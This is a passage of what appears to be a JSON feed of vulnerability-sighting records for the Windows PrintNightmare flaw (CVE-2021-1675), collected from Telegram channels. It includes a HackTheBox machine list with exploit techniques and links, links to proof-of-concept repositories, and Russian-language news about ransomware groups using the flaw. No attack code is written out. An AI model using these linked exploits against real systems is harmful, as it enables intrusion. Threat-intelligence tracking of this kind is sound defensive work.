(https://habr.com/ru/sandbox/156538/)\nhttps://0xdf.gitlab.io/2022/02/26/htb-driver.html\n\nSecret - JWT, Git source (tig), crush-dumps\nhttps://0xdf.gitlab.io/2022/03/26/htb-secret.html\n\nBackDoor - Wordpress eBook Dir Trav (https://www.exploit-db.com/exploits/39575), gdb exploit (https://www.exploit-db.com/exploits/50539, https://www.rapid7.com/db/modules/exploit/multi/gdb/gdb_server_exec/) \nhttps://0xdf.gitlab.io/2022/04/23/htb-backdoor.html\n\nPrevise - Backup, Site Reverse Shell, low-encrypted passwords\nhttps://0xdf.gitlab.io/2022/01/08/htb-previse.html\n\nBountyHunter - XXE, (root) NOPASSWD python code\nhttps://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html\n\nHorizontal - Strapi CMS 3.0.0 CVE-2019-18818/CVE-2019-19609 (https://www.exploit-db.com/exploits/50239, https://github.com/diego-tella/CVE-2019-19609-EXPLOIT), Laravel v8 (https://www.exploit-db.com/exploits/49424)\nhttps://0xdf.gitlab.io/2022/02/05/htb-horizontall.html\n\nOptimum - Windows 2012 (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/, https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc/)\nhttps://0xdf.gitlab.io/2021/03/17/htb-optimum.html\n\nLame - FTP Anonymous, SAMBA exploit (https://github.com/amriunix/CVE-2007-2447)\nhttps://0xdf.gitlab.io/2020/04/07/htb-lame.html\n\nJerry - Tomcat Default Cred, shell via .WAR\nhttps://0xdf.gitlab.io/2018/11/17/htb-jerry.html\n\nBlue - Win7 eternalblue (https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/)\nhttps://0xdf.gitlab.io/2021/05/11/htb-blue.html\n\nDevel - Microsoft IIS httpd 7.5 reverse shell via .ASPX, MS11-046 or ms10_015_kitrap0d (https://github.com/abatchy17/WindowsExploits/tree/master/MS11-046)\nhttps://0xdf.gitlab.io/2019/03/05/htb-devel.html\n\nNetmon - PRTG Network Monitor 18.1.37.13946, Backup credentials, CVE-2018-9276 (https://github.com/A1vinSmith/CVE-2018-9276) / (https://www.exploit-db.com/exploits/46527) + evil-winrm\nhttps://0xdf.gitlab.io/2019/06/29/htb-netmon.html\n\nExplore (Android) - 59777 port CVE-2019-6447 (https://www.exploit-db.com/exploits/50070), SSH Creds on Photo, adb shell\nhttps://0xdf.gitlab.io/2021/10/30/htb-explore.html\n\nAntique - Telnet password via snmpget (https://www.irongeek.com/i.php?page=security/networkprinterhacking#JetDirect%20password%20notes), CUPS 1.6.1 (https://github.com/jpillora/chisel) \nhttps://0xdf.gitlab.io/2022/05/03/htb-antique.html\n\nReturn - evil-winrm, Server Operators in net user svc-printer /domain, sc.exe\nhttps://0xdf.gitlab.io/2022/05/05/htb-return.html\n\nGrandpa - CVE-2017-7269 (https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl/), SEImpersonalPrivilege Churrasco (https://github.com/Re4son/Churrasco/)\nhttps://0xdf.gitlab.io/2020/05/28/htb-grandpa.html\n\nBeep - ShellShock or Elastix 2.2.0 - 'graph.php' Local File Inclusion, (root) NOPASSWD nmap\nhttps://0xdf.gitlab.io/2021/02/23/htb-beep.html\n\nPandora - snmpwalk creds, CVE-2021-32099, Site Reverse Shell\nhttps://0xdf.gitlab.io/2022/05/21/htb-pandora.html\n\nPaper - WPS 5.2.3 - Cve-2019-17671 (https://www.exploit-db.com/exploits/47690, https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/), Chat Bot Dir Trav, CVE-2021-3560 (https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py)\nhttps://0xjin.medium.com/paper-hackthebox-write-up-2abca22d3b54\n\n\n#hackthebox #ctf", "creation_timestamp": "2022-06-18T10:22:36.000000Z"}, {"uuid": "db37c3d6-8694-456c-9a8f-21c40e4da1a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/YouPentest/4935", "content": "Understanding PrintNightmare Vulnerability | (CVE-2021-1675) and (CVE-2021-34527) TryHackMe\n\nhttps://www.youtube.com/watch?v=qRxzPOSlu3Y", "creation_timestamp": "2022-05-29T13:08:28.000000Z"}, {"uuid": "998c35f6-c5d5-4576-95e6-029e8565da83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/YouPentest/2345", "content": "VE-2021-34527 - PrintNightmare - Server 2016 PoC Demonstration\n\nhttps://www.youtube.com/watch?v=qU3vQ-B-FPY\n\nhttps://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py\n\n#PrintNightmar", "creation_timestamp": "2023-07-17T07:50:29.000000Z"}, {"uuid": "761f19b3-b745-4cd5-a64b-704bec507f5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/YouPentest/4833", "content": "Understanding PrintNightmare Vulnerability | (CVE-2021-1675) and (CVE-2021-34527)\n\nhttps://www.youtube.com/watch?v=qRxzPOSlu3Y", "creation_timestamp": "2022-05-20T09:00:08.000000Z"}, {"uuid": "d0ce83bc-1088-4e1a-ba08-f687f44fcb42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/RYetcLsOmihSjL6vrmK8b2EEcP3aYfaPpeqAArUjps5i1kk", "content": "", "creation_timestamp": "2025-07-25T03:00:05.000000Z"}, {"uuid": "fb6a5217-2b03-435d-a3b7-df574302a01d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/beaverdreamer/80", "content": "#remidiation #detect\nhttps://github.com/LaresLLC/CVE-2021-1675", "creation_timestamp": "2023-01-29T20:34:55.000000Z"}, {"uuid": "b0930e6f-cef1-4095-a323-bd0cd72a1bc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/250", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aLocal exploit for CVE-2021-1675\nURL\uff1ahttps://github.com/tacbliw/PrintNightmare-LPE", "creation_timestamp": "2021-08-02T10:24:14.000000Z"}, {"uuid": "41576334-6e8c-48c1-9290-f6ed1e95cb81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/ctinow/36051", "content": "PoC exploit for CVE-2021-1675 RCE started circulating online\n\nhttps://ift.tt/3jn7PjL", "creation_timestamp": "2021-06-29T19:16:26.000000Z"}, {"uuid": "d49283ee-0a4c-42b7-87d6-cf1192583d4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/ctinow/36539", "content": "Quick look at CVE-2021-1675 & CVE-2021-34527 (aka PrintNightmare)\n\nhttps://ift.tt/3qUGxTr", "creation_timestamp": "2021-07-08T07:05:33.000000Z"}, {"uuid": "e5ec05f7-c30d-43e6-a099-66f0871b52e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/ctinow/36538", "content": "Quick look at CVE-2021-1675 & CVE-2021-34527 (aka PrintNightmare)\n\nhttps://ift.tt/3qUGxTr", "creation_timestamp": "2021-07-08T07:05:32.000000Z"}, {"uuid": "f89a6554-7449-4179-a328-5ae85136ea80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/arpsyndicate/1351", "content": "#ExploitObserverAlert\n\nCVE-2021-1675\n\nDESCRIPTION: Exploit Observer has 257 entries related to CVE-2021-1675. Windows Print Spooler Remote Code Execution Vulnerability\n\nFIRST-EPSS: 0.962600000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2023-12-05T01:07:55.000000Z"}, {"uuid": "907b32aa-8de2-47bc-bfef-d8543f01839d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://t.me/arpsyndicate/1590", "content": "#ExploitObserverAlert\n\nCVE-2021-1675\n\nDESCRIPTION: Exploit Observer has 258 entries related to CVE-2021-1675. Windows Print Spooler Remote Code Execution Vulnerability\n\nFIRST-EPSS: 0.959820000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2023-12-10T01:13:39.000000Z"}, {"uuid": "886d06d0-d52e-4990-b2fe-3630a9a8e725", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "https://t.me/hacker_trick/297", "content": "#Python implementation for #PrintNightmare #CVE-2021-1675 / #CVE-2021-34527\n\nhttps://github.com/ly4k/PrintNightmare", "creation_timestamp": "2021-10-17T15:37:17.000000Z"}, {"uuid": "9145f2b7-74dd-41c2-97dd-8491398c5b80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "published-proof-of-concept", "source": "Telegram/9Ljs1ig5D-hALQ-rtNcTXj7o6l-CuPeYn7S0FtIGoF5htQ", "content": "", "creation_timestamp": "2021-06-30T10:31:32.000000Z"}, {"uuid": "6f35caa2-c754-4eb4-b53e-164fa73b88d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "Telegram/ZiRpVpQIVhTPFUKYCmmHC--OlCXSQCYSlhQFKiQtKk5hcQ", "content": "", "creation_timestamp": "2021-07-01T13:56:10.000000Z"}, {"uuid": "d4b2c137-d8f4-497c-a522-af4b490d9f85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/RalfHackerChannel/1068", "content": "PrintNightmare (CVE-2021-1675): Remote code execution in Windows Spooler Service\n\nhttps://github.com/afwu/PrintNightmare\n\nhttps://github.com/cube0x0/CVE-2021-1675\n\nhttps://github.com/calebstewart/CVE-2021-1675\n\n#exploit #git", "creation_timestamp": "2021-07-02T05:59:36.000000Z"}, {"uuid": "327a70e8-f42d-4b2c-ae8c-cd6a9d8b7ddc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/true_secator/2001", "content": "\u0412 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u043a\u0430 \u0432\u0435\u0441\u044c \u0438\u043d\u0444\u043e\u0441\u0435\u043a \u043f\u043e \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e \u0441 Microsoft \u0432\u044b\u043f\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043d\u043e\u0432\u044b\u0435 \u0438 \u043d\u043e\u0432\u044b\u0435 \u0434\u044b\u0440\u044b PrintNightmare (\u0433\u0440\u0443\u043f\u043f\u0430 \u043e\u0448\u0438\u0431\u043e\u043a CVE-2021-1675 , CVE-2021-34527 \u0438 CVE-2021-36958), \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u0435\u0440\u0435\u043d\u0438\u043c\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u043e\u0439 \u043e\u043f\u044b\u0442 \u043a\u043e\u043b\u043b\u0435\u0433, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044f \u0432 \u0441\u0432\u043e\u0439 \u0430\u0440\u0441\u0435\u043d\u0430\u043b \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Windows.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u044d\u0442\u0438 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 (LPE) \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430 Windows \u0447\u0435\u0440\u0435\u0437 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 (RCE) \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 SYSTEM.\n\n\u041d\u0430 \u0434\u043d\u044f\u0445 Crowdstrike \u0443\u043b\u0438\u0447\u0438\u043b\u0438 \u0432 \u044d\u0442\u043e\u043c \u0431\u0430\u043d\u0434\u0443 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0435\u0439 Magniber, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0435\u043f\u0435\u0440\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b PrintNightmare \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0432 \u0445\u043e\u0434\u0435 \u0430\u0442\u0430\u043a \u043d\u0430 \u044e\u0436\u043d\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0438\u0445 \u0436\u0435\u0440\u0442\u0432. \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435, Magniber \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0442\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a DLL, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0432\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u0437\u0430\u0442\u0435\u043c \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043e\u0431\u0445\u043e\u0434\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435.\n\nMagniber \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u0441 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2017 \u0433\u043e\u0434\u0430, \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u043b\u0430\u0441\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0440\u0435\u043a\u043b\u0430\u043c\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0430 Magnitude Exploit Kit (EK) \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0435\u0435\u043c\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f Cerber, \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 Magnitude EK \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Internet Explorer \u0441 \u043d\u0435\u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u043e\u0439 CVE-2020-0968. \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u0430 \u043d\u0430 \u042e\u0436\u043d\u0443\u044e \u041a\u043e\u0440\u0435\u044e, \u041a\u0438\u0442\u0430\u0439, \u0422\u0430\u0439\u0432\u0430\u043d\u044c, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u0421\u0438\u043d\u0433\u0430\u043f\u0443\u0440, \u041c\u0430\u043b\u0430\u0439\u0437\u0438\u044e \u0438 \u0434\u0440\u0443\u0433\u0438\u0435. \u0418 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 30 \u0434\u043d\u0435\u0439 \u0441\u0442\u0430\u043b\u0430 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0430\u043a\u0442\u0438\u0432\u043d\u0430, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043d\u044f\u0442\u043d\u043e \u043f\u043e\u0447\u0435\u043c\u0443.\n\n\u041a \u0430\u0442\u0430\u043a\u0430\u043c PrintNightmare \u043f\u0440\u0438\u0441\u043e\u0441\u0435\u0434\u0438\u043b\u0438\u0441\u044c \u0438 ransomware Vice Society (\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 HelloKitty), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0431\u043e\u043a\u043e\u0432\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u0441\u0435\u0442\u044f\u043c \u0441\u0432\u043e\u0438\u0445 \u0436\u0435\u0440\u0442\u0432. \u0410\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0431\u0430\u043d\u0434\u044b \u043f\u043e\u043f\u0430\u043b\u0430 \u043f\u043e\u0434 \u043f\u0440\u0438\u0446\u0435\u043b Cisco Talos, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0432\u0438\u0434\u0435\u043b\u0438, \u043a\u0430\u043a Vice Society \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u044e\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u043e\u0432\u043a\u0438 (DLL) \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0432\u0443\u0445 \u043e\u0448\u0438\u0431\u043e\u043a CVE-2021-1675 \u0438 CVE-2021-34527.\n\n\u041a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, Vice Society \u0448\u0438\u0444\u0440\u0443\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Windows \u0438 Linux \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e OpenSSL (AES256 + secp256k1 + ECDSA) \u0438 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0445 \u0438\u043b\u0438 \u0441\u0440\u0435\u0434\u043d\u0438\u0445 \u0436\u0435\u0440\u0442\u0432, \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443\u0435\u0442 \u0434\u0432\u043e\u0439\u043d\u043e\u0435 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0443\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f\u043c. TTP \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0439 \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0437\u0430\u0449\u0438\u0442\u044b Windows \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043a \u043d\u043e\u0432\u0438\u0447\u043a\u0430\u043c \u043b\u0435\u043d\u0442\u044b \u0441\u043e\u0432\u0441\u0435\u043c \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u043b\u0438\u0441\u044c \u0438 Conti, \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u0443\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 Windows \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0438\u0437\u043b\u044e\u0431\u043b\u0435\u043d\u043d\u043e\u0439  PrintNightmare.\n\n\u0414\u0430 \u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u044d\u0442\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0442\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u0441\u0442\u0440\u043e, \u0440\u0430\u0432\u043d\u043e \u043a\u0430\u043a \u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0445 \u0436\u0435\u0440\u0442\u0432. \u0422\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f, \u043a\u0430\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u043d\u0430 \u043b\u0438\u0446\u043e.", "creation_timestamp": "2021-08-13T16:07:13.000000Z"}, {"uuid": "ad2a842d-ceb3-418d-908b-a8993737e277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "https://t.me/true_secator/1880", "content": "\u200b\u200b\u0418\u0442\u0430\u043a, \u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e PrintNightmare \u0432 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u0438 \u043f\u0435\u0447\u0430\u0442\u0438 Windows spoolsv.exe.\n\nMicrosoft \u0442\u0430\u043a\u0438 \u0432\u044b\u0434\u0430\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0435 \u043d\u043e\u0432\u044b\u0439 CVE-2021-34527, \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0432 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u0441\u0432\u0435\u0436\u0430\u044f \u0434\u044b\u0440\u043a\u0430, \u043e\u0442\u043b\u0438\u0447\u043d\u0430\u044f \u043e\u0442 CVE-2021-1675, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0438\u044e\u043d\u044c\u0441\u043a\u0438\u043c \u043f\u0430\u0442\u0447\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e Microsoft \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Windows, \u0430 \u0442\u0430\u043a\u0436\u0435 